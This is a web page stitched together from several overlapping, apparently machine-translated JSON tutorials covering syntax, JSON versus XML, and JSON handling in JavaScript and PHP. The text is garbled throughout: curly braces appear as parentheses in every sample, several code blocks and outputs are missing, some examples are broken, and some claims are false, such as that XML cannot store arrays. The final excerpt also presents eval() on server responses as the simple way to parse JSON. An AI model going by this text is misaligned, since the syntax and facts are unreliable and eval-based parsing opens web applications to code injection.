json language. JSON: Basics

Surely you have ever heard of JSON. What is it? What can it do and how to use it?

In this tutorial we will cover the basics of JSON and cover the following points:

  • What is JSON?
  • What is JSON used for?
  • How to create a JSON string?
  • A simple example of a JSON string.
  • Let's compare JSON and XML.
  • How to work with JSON in JavaScript and PHP?
What is JSON?

JSON is a simple, text-based way to store and transmit structured data. With a simple syntax, you can easily store anything from a single number to strings, arrays, and objects in plain text. You can also link arrays and objects together to create complex data structures.

Once the JSON string is created, it is easy to send it to another application or to another location on the network because it is plain text.

JSON has the following advantages:

  • It's compact.
  • Its sentences are easy to read and compose by both humans and computers.
  • It can be easily converted into a data structure for most programming languages ​​(numbers, strings, booleans, arrays, etc.)
  • Many programming languages ​​have functions and libraries for reading and creating JSON structures.

The name JSON stands for JavaScript Object Notation. As the name suggests, it is based on a way of defining objects (much like creating associative arrays in other languages) and arrays.

What is JSON used for?

The most common common use of JSON is to send data from the server to the browser. Typically, JSON data is delivered using AJAX, which allows the browser and server to communicate without having to reload the page.

  • The user clicks on a product thumbnail in an online store.
  • JavaScript running on the browser generates an AJAX request to the PHP script running on the server, passing in the ID of the selected product.
  • The PHP script gets the product name, description, price and other information from the database. Then it composes a JSON string from the data and sends it to the browser.
  • JavaScript running on the browser receives the JSON string, decodes it, and displays the product information on the page for the user.
  • You can also use JSON to send data from the browser to the server by passing a JSON string as a parameter to GET or POST requests. But this method is less common, since data transfer through AJAX requests can be simplified. For example, the product ID may be included in the URL as part of a GET request.

    The jQuery library has several methods, such as getJSON() and parseJSON(), that make it easy to retrieve data using JSON through AJAX requests.

    How to create a JSON string?

    There are a few basic rules for creating a JSON string:

    • The JSON string contains either an array of values ​​or an object (an associative array of name/value pairs).
    • Array is enclosed in square brackets ([ and ]) and contains a comma-separated list of values.
    • An object is enclosed in curly braces (( and )) and contains a comma-separated list of name/value pairs.
    • name/value pair consists of the field name enclosed in double quotation marks, followed by a colon (:) and the field value.
    • Meaning in an array or object there can be:
      • Number (integer or floating point)
      • String (in double quotes)
      • Boolean value (true or false)
      • Another array (enclosed in square brackets)
      • Another object (enclosed in curly braces)
      • null value

    To include double quotes in a string, you need to use a backslash: \" . As with many programming languages, you can put control characters and hex codes in a string by preceding them with a backslash. See the JSON website for details.

    Simple JSON string example

    Below is an example of ordering in JSON format:

    ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true )

    Let's look at the line in detail:

    • We create an object using curly braces (( and )).
    • The object has several name/value pairs: "orderID": 12345 A property with the name "orderId" and an integer value 12345 "shopperName": "Vanya Ivanov" a property with the name "shopperName" and the string value "Vanya Ivanov" "shopperEmail": " [email protected]" A property named "shopperEmail" with a string value " [email protected]" "contents": [ ... ] A property named "contents" whose value is an array "orderCompleted": true A property named "orderCompleted" and the boolean value true
    • There are 2 objects in the "contents" array representing individual items in the order. Each object contains 3 properties: productID , productName , and quantity .

    By the way, since JSON is based on declaring JavaScript objects, you can quickly and easily make the above JSON string a JavaScript object:

    var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true );

    Comparison of JSON and XML

    In many ways, you can think of JSON as an alternative to XML, at least in the web application space. The concept of AJAX was originally based on the use of XML to transfer data between the server and the browser. But in recent years, JSON has become increasingly popular for transporting AJAX data.

    While XML is a proven technology that is used in a fair number of applications, JSON has the advantage of being a more compact and easier-to-recognize data format.

    This is what the above example object in XML would look like:

    orderID 12345 shopperName Vanya Ivanov shopperEmail [email protected] contents productID 34 productName Super product quantity 1 productID 56 productName Miracle product quantity 3 orderCompleted true

    The XML version is significantly larger. In reality it is 1128 characters long, while the JSON version is only 323 characters long. The XML version is also quite difficult to understand.

    Of course, this is a radical example. And it is possible to create a more compact XML record. But even it will be significantly longer than the JSON equivalent.

    Working with a JSON string in JavaScript

    JSON has a simple format, but creating a JSON string manually is quite tedious. Additionally, you often need to take a JSON string, convert its contents into a variable that can be used in code.

    Most programming languages ​​have tools to easily convert variables to JSON strings and vice versa.

    Creating a JSON string from a variable

    JavaScript has a built-in JSON.stringify() method that takes a variable and returns a JSON string representing its contents. For example, let's create a JavaScript object that contains the order information from our example, and then create a JSON string from it:

    var cart = ( "orderID": 12345, "shopperName": "Vanya Ivanov", "shopperEmail": " [email protected]", "contents": [ ( "productID": 34, "productName": "Super product", "quantity": 1 ), ( "productID": 56, "productName": "Miracle product", "quantity": 3 ) ], "orderCompleted": true ); alert (JSON.stringify(cart));

    This code will produce:

    Note that the JSON.stringify() method returns a JSON string without spaces. It is more difficult to read, but it is more compact for transmission over the network.

    There are several ways to parse a JSON string in JavaScript, but the safest and most reliable is to use the built-in JSON.parse() method. It receives a JSON string and returns a JavaScript object or array that contains the data. For example:

    var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "Vanya Ivanov", \ "shopperEmail": " [email protected]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "Super product", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": "Miracle goods", \"quantity": 3\ ) \ ], \"orderCompleted": true \ ) \"; var cart = JSON.parse(jsonString); alert(cart.shopperEmail); alert(cart.contents.productName);

    We created a jsonString variable that contains the JSON string of our example order. We then pass this string to the JSON.parse() method, which creates an object containing the JSON data and stores it in the cart variable. All that remains is to check by displaying the properties of the shopperEmail object and productName of the contents array.

    As a result, we will get the following output:

    In a real application, your JavaScript code would receive the order as a JSON string in an AJAX response from the server script, pass the string to the JSON.parse() method, and then use the data to display it on the user's page.

    JSON.stringify() and JSON.parse() have other capabilities, such as using callback functions to custom convert certain data. Such options are very useful for converting various data into proper JavaScript objects.

    Working with a JSON string in PHP

    PHP, like JavaScript, has built-in functions for working with JSON strings.

    Creating a JSON string from a PHP variable

    The json_encode() function takes a PHP variable and returns a JSON string representing the contents of the variable. Here is our order example, written in PHP:

    This code returns exactly the same JSON string as in the JavaScript example:

    ("orderID":12345,"shopperName":"Vanya Ivanov","shopperEmail":" [email protected]","contents":[("productID":34,"productName":"Super product","quantity":1),("productID":56,"productName":"Miracle product","quantity": 3)],"orderCompleted":true)

    In a real application, your PHP script will send this JSON string as part of an AJAX response to the browser, where the JavaScript code, using the JSON.parse() method, will parse it back into a variable for display on the user's page.

    You can pass various flags as the second argument to the json_encode() function. With their help, you can change the principles of encoding the contents of variables into a JSON string.

    Create a variable from a JSON string

    To convert a JSON string into a PHP variable, use the json_decode() method. Let's replace our example for JavaScript with the JSON.parse() method with PHP code:

    As with JavaScript, this code will produce:

    [email protected] Miracle product

    By default, the json_decode() function returns JSON objects as PHP objects. There are generic PHP objects of the stdClass class. That's why we use -> to access the properties of the object in the example above.

    If you need a JSON object as an associated PHP array, you need to pass true as the second argument to the json_decode() function. For example:

    $cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    This code will produce the same output:

    [email protected] Miracle product

    You can also pass other arguments to the json_decode() function to specify the recursion depth and how to handle large integers.

    Conclusion

    Although JSON is easy to understand and use, it is a very useful and flexible tool for transferring data between applications and computers, especially when using AJAX. If you are planning to develop an AJAX application, then there is no doubt that JSON will become an essential tool in your workshop.

    What is JSON and what can it do? In this article, you will learn how to use JSON to easily work with data. We will also look at how to work with JSON using PHP and JavaScript.

    If you've developed websites or web applications in general, chances are you've heard of JSON, at least in passing. But what exactly does JSON mean? What can this data format do and how can it be used?

    In this article we will learn the basics of working with the json format. We will follow the following topics:

    • What is JSON format?
    • How to create JSON strings?
    • Simple example of JSON data
    • Comparing JSON with XML

    Let's start!

    What is JSON format?

    JSON is a simple, text-based way to store and transmit structured data. With a simple syntax, you can easily store both simple numbers and strings, as well as arrays and objects, using nothing more than text. You can also link objects and arrays, which allows you to create complex data structures.

    Once the JSON string is created, it can be easily sent to any application or computer since it is just text.

    JSON has many advantages:

    • It's compact
    • It is human-readable and easy to read by computers
    • It can be easily converted into software formats: numeric values, strings, boolean format, null value, arrays and associative arrays.
    • Almost all programming languages ​​have functions that allow you to read and create json data format.

    Literally, the abbreviation JSON stands for JavaScript Object Notation. As described earlier, this format is based on creating objects, something similar to associative arrays in other programming languages.

    What purposes is JSON used for?

    Most of all, json is used to exchange data between javascript and server side (php). In other words, for ajax technology. This is very convenient when you are passing multiple variables or entire data arrays.

    Here's what it looks like in an example:

  • The user clicks on the thumbnail image
  • JavaScript processes this event and sends an ajax request to the PHP script, passing the image ID.
  • On the server, php receives the description of the picture, the name of the picture, the address to the large image and other information from the database. Having received it, it converts it to JSON format and sends it back to the user’s page.
  • JavaScript receives the response in the form of JSON, processes the data, generates html code and displays an enlarged image with a description and other information.
  • This is how the image is enlarged without reloading the page in the browser. This is very convenient when we need to receive partial data, or transfer a small amount of information to the server.

    Everyone's favorite jQuery has the getJSON() and parseJSON() functions, which help you work with the format through ajax requests.

    How to create JSON strings?


    Below are the basic rules for creating JSON strings:

    • The JSON string contains both an array of values ​​and an object (an associative array with name/value pairs).
    • The array must be wrapped in square brackets, [ and ], and can contain a list of values ​​that are separated by a coma.
    • Objects are wrapped using curly arms, ( and ), and also contain coma-separated name/value pairs.
    • Name/value pairs consist of the field name (in double quotes) followed by a colon (:) followed by the value of the field.
    • The values ​​in an array or object can be:
      • Numeric (integer or dotted fraction)
      • Strings (wrapped in double quotes)
      • Boolean (true or false)
      • Other arrays (wrapped in square brackets [ and ])
      • Other objects (wrapped in curly arms ( and ))
      • Null value

    Important! If you use double quotes in values, escape them with a backslash: \". You can also use hex encoded characters, just as you do in other programming languages.

    Simple example of JSON data

    The following example shows how you can save data in the “cart” of an online store using the JSON format:

    ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [email protected]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": true )

    Let's break this data down piece by piece:

  • At the beginning and end we use curly arms ( and ) to make it clear that this is an object.
  • Inside the object we have several name/value pairs:
  • "orderID": 12345 - field named orderId and value 12345
  • "shopperName": "John Smith" - field named shopperName and value John Smith
  • "shopperEmail": "johnsmith@ example.com" - similar to the previous field, the buyer's email is stored here.
  • "contents": [ ... ] - a field named content whose value is an array.
  • "orderCompleted": true - a field named orderCompleted whose value is true
  • Inside the contents array, we have two objects that display the contents of the cart. Each product object has three properties: productID, productName, quantity.
  • Finally, since JSON is identical to objects in JavaScript, you can easily take this example and create a JavaScript object from it:

    var cart = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [email protected]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": true );

    Comparing JSON with XML

    In most cases, you'll think of JSON as an alternative to XML - at least within web applications. The Ajax concept originally uses XML to exchange data between the server and the browser, but in recent years JSON has become more popular for transmitting ajax data.

    Although XML is a tried and tested technology that is used by many applications, the advantages of the JSON format are that it is more compact and easier to write and read.

    Here is the above JSON example, only rewritten in XML format:

    orderID 12345 shopperName John Smith shopperEmail [email protected] contents productID 34 productName SuperWidget quantity 1 productID 56 productName WonderWidget quantity 3 orderCompleted true

    As you can see, it is several times longer than JSON. In fact, this example is 1128 characters long, while the JSON version is only 323 characters. The XML version is also more difficult to read.

    Naturally, one cannot judge by just one example, but even small amounts of information take up less space in the JSON format than in XML.

    How to work with JSON via PHP and JS?

    Now we come to the most interesting part - the practical side of the JSON format. First, let's pay tribute to JavaScript, then we'll see how you can manipulate JSON through PHP.

    Creating and Reading JSON Format Using JavaScript


    Even though the JSON format is simple, it is difficult to write manually when developing web applications. Moreover, you often have to convert JSON strings into variables and then use them in your code.

    Fortunately, many programming languages ​​provide tools for working with JSON strings. The main idea of ​​which:

    To create JSON strings, you start with variables containing some values, then pass them through a function that turns the data into a JSON string.

    Reading JSON strings, you start with a JSON string containing certain data, pass the string through a function that creates variables containing the data.

    Let's see how this is done in JavaScript.

    Creating a JSON string from a JavaScript variable

    JavaScript has a built-in method, JSON.stringify(), which takes a javascript variable and returns a json string representing the contents of the variable. For example, let's use a previously created object and convert it to a JSON string.

    var cart = ("orderID": 12345, "shopperName": "John Smith", "shopperEmail": " [email protected]", "contents": [ ( "productID": 34, "productName": "SuperWidget", "quantity": 1 ), ( "productID": 56, "productName": "WonderWidget", "quantity": 3 ) ], "orderCompleted": true ); alert (JSON.stringify(cart));

    This is what will appear on the screen:

    ("orderID":12345,"shopperName":"John Smith","shopperEmail":" [email protected]", "contents":[("productID":34,"productName":"SuperWidget","quantity":1), ("productID":56,"productName":"WonderWidget","quantity":3) ], "orderCompleted":true)

    Note that JSON.stringify() outputs JSON strings without spaces. It's difficult to read, but it's more compact, which is important when sending data.

    Creating a JavaScript variable from a JSON string

    There are several ways to parse JSON strings, the most acceptable and safe is using the JSON.parse() method. It takes a JSON string and returns a JavaScript object or array containing the JSON data. Here's an example:

    var jsonString = " \ ( \ "orderID": 12345, \ "shopperName": "John Smith", \ "shopperEmail": " [email protected]", \ "contents": [ \ ( \ "productID": 34, \ "productName": "SuperWidget", \ "quantity": 1 \), \ ( \ "productID": 56, \ "productName": " WonderWidget", \ "quantity": 3 \ ) \ ], \ "orderCompleted": true \ ) \ "; var cart = JSON.parse(jsonString); alert(cart.shopperEmail); alert(cart.contents.productName);

    Here we created a variable, jsonString, which contains the JSON string from the previously provided examples. Then we passed this string through JSON.parse() to create an object containing JSON data, which was stored in the cart variable. Finally, we check for data availability and display some information using the alert modal window.

    The following information will be displayed:

    In a real web application, your JavaScript code should receive a JSON string as a response from the server (after sending an AJAX request), then parse the string and display the cart contents to the user.

    Creating and reading JSON format using PHP

    PHP, like JavaScript, has functions that allow you to convert variables into JSON format, and vice versa. Let's look at them.

    Creating a JSON string from a PHP variable

    Json_encode() takes a PHP variable and returns a JSON string representing the variable's data. Here is our example of a “cart” written in PHP:

    This code produces exactly the same result as the JavaScript example - a valid JSON string representing the contents of the variables:

    ("orderID":12345,"shopperName":"John Smith","shopperEmail":" [email protected]","contents":[("productID":34,"productName":"SuperWidget","quantity":1),("productID":56,"productName":"WonderWidget","quantity":3) ],"orderCompleted":true)

    In reality, your PHP script should send a JSON string as a response to an AJAX request, where JavaScript will use JSON.parse() to turn the string into variables.

    In the json_encode() function, you can specify additional parameters that allow you to convert some characters to hex.

    Creating a PHP variable from a JSON string

    Similar to the above, there is a json_decode() function that allows you to decode JSON strings and put the contents into variables.

    As with JavaScript, this code will output the following:

    [email protected] WonderWidget

    By default, json_decode() returns JSON objects as PHP objects. Similar to regular syntax, we use -> to access the properties of an object.

    If you later want to use the data as an associative array, simply pass the second parameter true to the json_decode() function. Here's an example:

    $cart = json_decode($jsonString, true); echo $cart["shopperEmail"] . "
    "; echo $cart["contents"]["productName"] . "
    ";

    This produces the same result:

    [email protected] WonderWidget

    You can also pass additional arguments to the json_decode() function to determine the processing of large numbers and recursion.

    In conclusion about the JSON format

    If you are going to create a web application using Ajax technology, you will certainly use the JSON format for exchanging data between the server and the browser.


    JSON is a text format for recording data.

    It allows you to represent in text form both a single number or string, and complex structures, for example, arrays with data. Using this recording format is convenient because it is readable and intuitive, while at the same time allowing you to store very complex data structures. In addition, it is more compact than xml, so in my opinion it is more preferable for exchanging data between a web browser and a server.

    JSON syntax with examples

    The json format is usually written in 2 variants:

    1. Sequence of values. For example, the sequence 10, 15 and "test" in JSON format would look like this:

    2. Recording in the form of key: value pairs. For example:

    (“Full name”: “Ivanov Sergey”, “Date of birth”: “03/09/1975”)

    A slightly more complex example:

    ("Full Name": "Ivanov Sergey", "Address": ("City": "Moscow", "Street": "Pyatnitskaya", "House": "35") )

    PHP functions for working with JSON format

    • In PHP language since version 5.2. there are only 4 functions:
    • json_decode - Decodes a JSON string (gets data from a json format string)
    • json_encode - Returns a JSON representation of the data (converts the data to a json string)
    • json_last_error_msg - Returns a string indicating the error message of the last call to json_encode() or json_decode()

    json_last_error - Returns the last error

    $arr1 = array(0,1,2); $json_str = json_encode($arr1); echo $json_str; // will output a json string: $arr2 = json_decode($json_str); echo $arr2; // will output: 1

    Please note: when encoding data in Russian into JSON format, the json_encode function converts Russian characters into Unicode, i.e. replaces them with \uXXXX and thus the json string becomes unreadable for humans (but understandable for the browser). If you want to avoid conversion to Unicode (for example, when debugging code), you can simply use the JSON_UNESCAPED_UNICODE option.

    Also, so that escaping slashes are not added during encoding and so that strings with numbers are encoded as numbers, you can use JSON_UNESCAPED_SLASHES and JSON_NUMERIC_CHECK. As a result, to make the json string human readable, we will do, for example, this:

    $arr = array("fio" => "Ivanov Sergey", "age" => "32", "vk_url" => "https://vk.com/id11111"); echo json_encode($arr, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_NUMERIC_CHECK);

    Without using these options the line would be like this:

    ( "fio" : "\u0418\u0432\u0430\u043d\u043e\u0432 \u0421\u0435\u0440\u0433\u0435\u0439", "age" : "32", "vk_url": "https:\/\ /vk.com\/id11111" )

    and using the options, we get a readable line:

    ( "fio" : "Ivanov Sergey", "age" : 32, "vk_url" : "https://vk.com/id11111" )

    One more point: if you want the json_decode function to return an array when decoding a json string, just add a second parameter to the function equal to true.

    $json_str = "( "a":1, "b":2, "c":3 )"; $obj = json_decode($json_str); // get the object echo $obj->a; // will output 1 $arr = json_decode($json_str, true); // get an associative array echo $arr["a"]; // will print 1

    This concludes my review of PHP functions.

    JavaScript functions for working with JSON format

    Let's start with the fact that the JSON format was originally invented for the JavaScript language and then became simply a separate text format used in different languages. Apparently, this is why the JSON syntax is very similar to the syntax for writing ordinary objects and arrays.

    // Example of an array in JavaScript arr = ; alert(arr); // will display 1 // Example of an object in JavaScript obj = ( "name": "Vasya", "age": 35, "isAdmin": false ) alert(obj.name); // will print "Vasya"

    JavaScript functions used to convert to and from JSON format:

    • JSON.parse - decoding a JSON string (converting a string into objects and/or arrays)
    • JSON.stringify - returns a JSON representation of data (converting objects and/or arrays to a json string)

    A simple example of decoding a json string into an array with numbers:

    Str = ""; arr = JSON.parse(str); alert(arr); // will print 1

    An example of converting (serializing) an object into a JSON string:

    Obj = ( "name": "Vasya", "age": 35, "isAdmin": false ) alert(JSON.stringify(obj)); // will display ("name":"Vasya","age":35,"isAdmin":false)

    When serializing (converting) an object to a JSON string, the toJSON method of this object is called, if it exists. If there is no method, then all properties of the object are listed. An example of converting an object with the toJSON method:

    Obj = ( "name": "Vasya", "age": 35, "isAdmin": false, toJSON: function() ( return this.age; ) ) alert(JSON.stringify(obj)); // will print 35

    Examples of practical application of the JSON format

    Actually, I personally use the JSON format in 2 main situations:

    1. Transferring data between the browser and the server using Ajax requests.

    For example, we have some page on which we need to update data without reloading the page. Let’s say you need information with a list of employees and their data to be “downloaded” from the server.

    In JavaScript, using jQuery, we make it simple and display the data in the form of a table in the browser:

    $.getJSON("get-info.php").success(function(data) ( // ajax request, data from the server will be written to the data variable htmlstr = "

    "; for (var i=0; i "Ivanov Sergey", "birthday" => "03/09/1975"); $user_info = array ("fio" => "Alexey Petrov", "birthday" => "09/18. 1983"); echo json_encode($user_info); exit;

    In this example, the JSON string that was passed from the server to the browser was like this:

    [("fio":"Sergey Ivanov","birthday":"03/09/1975"),("fio":"Alexey Petrov","birthday":"09/18/1983")]

    I deliberately did not show the line in the form of a “tree”, because it is transmitted exactly in this form. And as you can appreciate, recording data in JSON format turned out to be very compact, which means that the transfer of this data from the server to the browser will be almost instantaneous.

    2. Writing complex data structures to the database.

    Sometimes there are situations when it is not advisable to create another table in the database in order to store various data. Let's say a user registered on the site has the opportunity to customize the background color and text color.

    Instead of creating another table for 2 settings, you can simply create a text column in the table with the list of users in which to place the user settings data. Then the settings update request could, for example, be like this:

    UPDATE users SET settings = "("background-color":"#FFFFFF", "text-color":"#000000")" WHERE user_id = 10

    In the future, having received information from the users table, the php script can easily turn them back into an array with settings. For example, if the $user_info variable contains data obtained for a user from the users table, getting an array with settings is very simple:

    $settings = json_decode($user_info["settings"], true); echo "Background color = ".$settings["background-color"]; echo "Text color = ".$settings["text-color"];

    In JSON format, you can also, for example, record in the database which product options the buyer selected.

    ("15":["45","47"], "18":"52") // option 15 has the values ​​45 and 47 selected, and option 18 has the value 52 selected

    In principle, you can even write the entire contents of the cart in JSON format, for example, like this:

    ( "user_id" : 10, "session_id" : "2c2l3h4ii271aojentejtdcmh3", "products": [ ( "product_id" : 15, "options" : ( "15" : , "18" : 52), "quantity" : 1, "price" : 1500 ), ( "product_id" : 16, "options" : ( "15" : , "18" : 51 ), "quantity" : 2, "price" : 1000 ) ] )

    In its usual non-tree form, this JSON string would be like this:

    ("user_id":10,"session_id":"2c2l3h4ii271aojentejtdcmh3","products":[("product_id":15,"options":("15":,"18":52),,"quantity":1, "price":1500),("product_id":16,"options":("15":,"18":51),,"quantity":2,"price":1000)])

    Thus, as can be seen from the examples, almost any information can be stored and transmitted in the JSON format.

    JSON (JavaScript Object Notation) is a data transfer format. As the name suggests, the format is based on the JavaScript programming language, but it is also available in other languages ​​(Python, Ruby, PHP, Java).

    JSON uses the .json extension. When used in other file formats (such as .html), the JSON string is quoted or assigned to a variable. This format is easily transferred between the web server and the client or browser.

    Lightweight and easy to understand, JSON is a great alternative to XML.

    This tutorial will introduce you to the benefits, objects, general structure, and syntax of JSON.

    JSON syntax and structure

    A JSON object is in key-value form and is usually written in curly braces. When working with JSON, all objects are stored in a .json file, but they can also exist as separate objects in the context of the program.

    The JSON object looks like this:

    "first_name" : "John",
    "last_name" : "Smith",
    "location" : "London",
    "online" : true,
    "followers" : 987

    This is a very simple example. A JSON object can contain many lines.

    As you can see, an object is made up of key-value pairs that are enclosed in curly braces. Most data in JSON is written as objects.

    A colon is placed between the key and value. After each pair you need to put a comma. The result is:

    "key" : "value", "key" : "value", "key" : "value"

    The JSON key is on the left. The key must be placed in double quotes. Any valid string can be used as a key. Within one object, all keys must be unique. The key may contain a space (“first name”), but programming may have problems accessing such a key. Therefore, instead of a space, it is better to use an underscore (“first_name”).

    The JSON values ​​are on the right side of the column. Any simple data type can be used as a value:

    • Strings
    • Numbers
    • Objects
    • Arrays
    • Boolean data (true or false)

    Values ​​can also be represented by complex data types (for example, objects or JSON arrays).

    JSON supports individual syntax for each of the data types listed above: if the value is represented by a string, then it will be quoted, but if it is a number, then it will not.

    Typically, data in .json files is written in a column, but JSON can also be written in a row:

    ( "first_name" : "John", "last_name" : "Smith", "online" : true, )

    This is how JSON data is typically written to other file types.

    By writing JSON data to a column, you improve the readability of the file (especially if there is a lot of data in the file). JSON ignores spaces between columns, so you can use them to divide your data into a manageable number of columns.

    "first_name" : "John",
    "last_name" : "Smith",
    "online" : true

    Note that JSON objects are very similar to JavaScript objects, but they are not the same format. For example, you can use functions in JavaScript, but not in JSON.

    The main advantage of JSON is that data in this format is supported by many popular programming languages, so it can be quickly transferred.

    You are now familiar with the basic JSON syntax. But JSON files can have complex, hierarchical structures that include nested arrays and objects.

    Complex types in JSON

    JSON can store nested objects and arrays, which will be passed as the value of the key assigned to them.

    Nested objects

    Below you will find an example - the users.json file, which contains user data. For each user

    (“john”, “jesse”, “drew”, “jamie”) a nested object is passed as a value, which, in turn, also consists of keys and values.

    Note: The first nested JSON object is highlighted in red.

    "john" :(
    "username" : "John",
    "location" : "London",
    "online" : true,
    "followers" : 987

    "jesse" :(
    "username" : "Jesse",
    "location" : "Washington",
    "online" : false,
    "followers" : 432

    "drew" :(
    "username" : "Drew",
    "location" : "Paris",
    "online" : false,
    "followers" : 321

    "jamie" :(
    "username" : "Jamie",
    "location" : "Berlin",
    "online" : true,
    "followers" : 654

    Note that curly braces are used in both the nested object and the main object. Commas in nested objects are used in the same way as in regular objects.

    Nested Arrays

    Data can be nested in JSON using JavaScript arrays, which will be passed as values. JavaScript uses square brackets () at the beginning and end of an array. An array is an ordered collection of data that can contain different types of data.

    An array is used to transfer a large amount of data that can be grouped. For example, let's try to record user data.

    {
    "first_name" : "John",
    "last_name" : "Smith",
    "location" : "London",
    "websites" : [

    "description" : "work",
    "URL" : "https://www.johnsmithsite.com/"

    },
    {

    "desciption" : "tutorials",
    "URL" : "https://www.johnsmithsite.com/tutorials"

    "social_media" : [

    "description" : "twitter",
    "link" : "https://twitter.com/johnsmith"

    "description" : "facebook",
    "link" : "https://www.facebook.com/johnsmith"

    "description" : "github",
    "link" : "https://github.com/johnsmith"

    The keys “websites” and “social_media” are assigned arrays as values, which are placed in square brackets.

    Using nested arrays and objects, you can create a complex data hierarchy.

    JSON or XML?

    XML (eXtensible Markup Language) allows you to store data in a form that is easy to understand for humans and machines. The XML format is supported by a large number of programming languages.

    XML and JSON have a lot in common. However, XML requires much more text, which means that such files are larger and more difficult to read and write. Moreover, XML is only processed using an XML interpreter, while JSON can be processed using a simple function. Unlike JSON, XML cannot store arrays.

    Let's compare two files: they contain the same data, but the first is written in XML format, and the second in JSON.

    users.xml

    John London

    Jesse Washington

    Drew Paris

    Jamie Berlin

    users.json
    ("users": [

    ("username" : "John", "location" : "London"),
    ("username" : "Jesse", "location" : "Washington"),
    ("username" : "Drew", "location" : "Paris"),
    ("username" : "JamieMantisShrimp", "location" : "Berlin")

    JSON is a very compact format and does not require as many tags as XML. Additionally, XML, unlike JSON, does not support arrays.

    If you're familiar with HTML, you'll notice that the XML format is very similar to it (particularly the tags). JSON is simpler, requires less text, and is easier to use in AJAX applications, for example.

    Of course, the format must be chosen depending on the needs of the application.

    Tools for JSON

    JSON is commonly used in JavaScript, but the format is widely used in other programming languages.

    More information about JSON compatibility and processing can be found on the project website and the jQuery library.

    It's rare to write JSON from scratch. Typically, data is loaded from source or converted to JSON. You can convert CSV or tab-delimited data to JSON using the open-source tool Mr. Data Converter. To convert XML to JSON and vice versa, use utilities-online.info. When working with automatic tools, be sure to check the results.

    JSON files (including converted data) can be inspected using the JSONLint service. To test JSON in a web development context, refer to JSFiddle.

    Conclusion

    JSON is a simple and lightweight data format. JSON files are easy to transfer, store, and use.

    Today JSON is often used in APIs.

    • Translation

    Note: below is a translation of the review article “JSON vs XML”, dedicated to JSON and its comparison with XML according to a number of criteria. Published in order to popularize JSON among Habrahabr readers.

    JSON (JavaScript Object Notation) is a data exchange format that is easy to read by people, easy to process and generate by programs.

    Based on a subset of the JavaScript language, Standard ECMA-262 3rd Edition - December 1999.


    JSON - Wikipedia

    What is the correct response format for XMLHttpRequest in AJAX applications? For most markup-based applications, the answer is simple - (X)HTML. For information-centric applications, the choice will be between XML and JSON. Until recently, I didn't really wonder what was better to use, XML or JSON. I simply assumed that in each specific case it was worth choosing the most suitable format, that’s all. But recently I had the opportunity to test this approach in practice. In this post, I will describe the criteria by which I compared between XML and JSON, and my own conclusions.

    So, the criteria are as follows.

    • Code readability.
    • Ease of creating a server-side data object.
    • Easy data processing on the client side.
    • Easy to expand.
    • Debugging and error correction.
    • Safety.
    Code Readability

    Person person = new Person();

    person.setFirstName("Subbu");

    person.setLastName("Allamaraju");

    writer.write(JSONObject.fromObject(person).toString());

    If we consider the functioning of such programming interfaces, then creating JSON is not much different from serializing Java beans into objects. However, it is worth noting that there are now many more ways to generate XML than JSON. Some of these XML APIs have been around for many years and for this reason may be more stable when used for complex applications.

    Another aspect to consider will be the amount of resources that are used to generate the response. If “heavy” operations are already performed when receiving data, then it will not be difficult for the server part to additionally convert them into XML for a response. If creating XML is the most resource-intensive operation, then it is better to use JSON.

    Ease of use

    On the client side, processing JSON data as a response to an XMLHttpRequest is extremely simple.

    Var person = eval(xhr.responseText);

    Obviously, when processing data received from the server, it is necessary to look through the entire DOM tree. This is a very labor-intensive operation and is prone to errors. Unfortunately, in the browser we have to deal with the DOM. Browsers do not support a query language like XPath for retrieving tree nodes in an XML document. Support for these functions already applies to XSLT, but it is quite limited ( note: in the browser) in terms of converting XML into markup (for example, HTML). Working Group on Web Interfaces ( Web API Working Group) from W3C is working on a selector interface ( Selectors API), which can be used to apply CSS selectors when selecting nodes from a Document object. Using such an interface, it would be possible to transform the above example code into xml.match("person.firstName") to get the firstName element. This isn't a huge achievement for the XML document in this example, but it can be useful for working with highly branched documents. This interface is not yet complete, and it will be years before browsers support it.

    In general, if I have to choose between XML and JSON, I will prefer JSON due to the ease of implementing client-side processing.

    Extensibility

    Extensibility helps reduce the number of communications between the data provider and the recipient. In the context of AJAX applications, the client-side script must be sufficiently invariant with respect to compatible changes in data.

    The general belief is that XML is automatically extensible simply by virtue of the presence of the letter "X". But this is not an unconditional rule (i.e., acting by default). XML extensibility is based on the principle that you can define additional nodes in your XML and then apply a "skip what's not needed" rule (i.e., if you encounter an unfamiliar element or attribute while processing XML, just skip it).

    To take full advantage of extensibility, you need to write client-side code with extensibility in mind. For example, the following example will break down if you want to insert, for example, a middleName element.

    Var xml = xhr.responseXML;

    If you insert an element immediately after the element, this example will cause the middle name to be misinterpreted as a last name. To be invariant to this change, the code needs to be rewritten to explicitly get the element, or access nextSibling only if a child with the desired tagName is found. Thus, XML is extensible as long as you write the code with future extensibility in mind. Everything is extremely simple.

    Let's go back to JSON. I argue that it is easier to extend JSON data than XML. This undoubtedly requires less effort. Let's consider adding the middleName property to the JSON response. In order to access it, you just need to call it.

    Alert(person.middleName);

    This code will not change if you add a middle name to your answer. But what to do in the case of processing a person with or without a middle name? With JSON it's easy.

    if (person.middleName) ( // Processing )

    My position is that if possible future extensibility is kept in mind, both XML and JSON data can be extended. But it's easier to expand data with JSON than with XML. You simply need to check that the required property exists on the object and act according to the result of the check.

    Another option to extend JSON data is to use function calls along with data declarations directly in the response.

